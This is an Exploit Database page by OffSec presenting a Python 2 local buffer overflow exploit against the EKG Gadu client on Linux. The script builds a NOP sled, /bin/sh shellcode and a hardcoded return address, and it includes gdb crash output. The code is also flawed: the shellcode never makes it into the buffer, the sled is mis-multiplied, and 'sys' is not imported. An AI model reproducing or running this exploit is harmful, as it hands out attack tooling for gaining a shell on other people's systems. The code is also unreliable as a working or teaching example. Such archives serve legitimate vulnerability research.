



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

EKG Gadu 1.9~pre+r2855-3+b1 - Local Buffer Overflow

EDB-ID:

40392

CVE:

N/A

EDB Verified: ✘

Author:

[JUAN SACCO](#)

Type:

[LOCAL](#)

Exploit:  

Platform:

[LINUX](#)

Date:

2016-09-19

Vulnerable App: 





EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

```

# Exploit developed using Exploit Pack v6.01
# Exploit Author: Juan Sacco - http://www.exploitpack.com -
# jsacco@exploitpack.com
# Program affected: EKG Gadu
# Affected value: USERNAME
# Version: 1:1.9~pre+r2855-3+b1
#
# Tested and developed under: Kali Linux 2.0 x86 - https://www.kali.org
# Program description: console Gadu Gadu client for UNIX systems - ncurses
UI
# EKG ("Eksperymentalny Klient Gadu-Gadu") is an open source
# Gadu-Gadu client for UNIX systems.
# Kali Linux 2.0 package: pool/main/e/ekg/ekg_1.9~pre+r2855-3+b1_i386.deb
# MD5sum: c752577dfb5ea44513a3fb351d431afa
# Website: http://ekg.chmurka.net/
#
# gdb$ run `python -c 'print "A"*258`
# 0x0807e125 in strcpy ()
# gdb$ backtrace
# #0 0x0807e125 in strcpy ()
# #1 0x080570bb in ioctl_socket ()
# #2 0x08052e60 in main ()

import os, subprocess

def run():
    try:
        print "# EKG Gadu - Local Buffer Overflow by Juan Sacco"
        print "# This Exploit has been developed using Exploit Pack -
http://exploitpack.com"
        # NOPSLED + SHELLCODE + EIP

        buffersize = 240
        nopsled = "\x90"*30
        shellcode =
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
        eip = "\x20\xf1\xff\xbf"
        buffer = nopsled * (buffersize-len(shellcode)) + eip
        subprocess.call(["ekg ", ' ', buffer])

    except OSError as e:
        if e.errno == os.errno.ENOENT:
            print "Sorry, EKG Gadu - Not found!"
        else:
            print "Error executing exploit"
            raise

def howtousage():
    print "Snap! Something went wrong"
    sys.exit(-1)

if __name__ == '__main__':
    try:
        print "Exploit EKG Gadu - Local Overflow Exploit"
        print "Author: Juan Sacco - Exploit Pack"
    except IndexError:
        howtousage()
run()

```

Tags:

Advisory/Source: [Link](#)

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)

[PRIVACY](#)

[ABOUT US](#)

[FAQ](#)

[COOKIES](#) ©

[OffSec Services Limited](#) 2026. All rights reserved.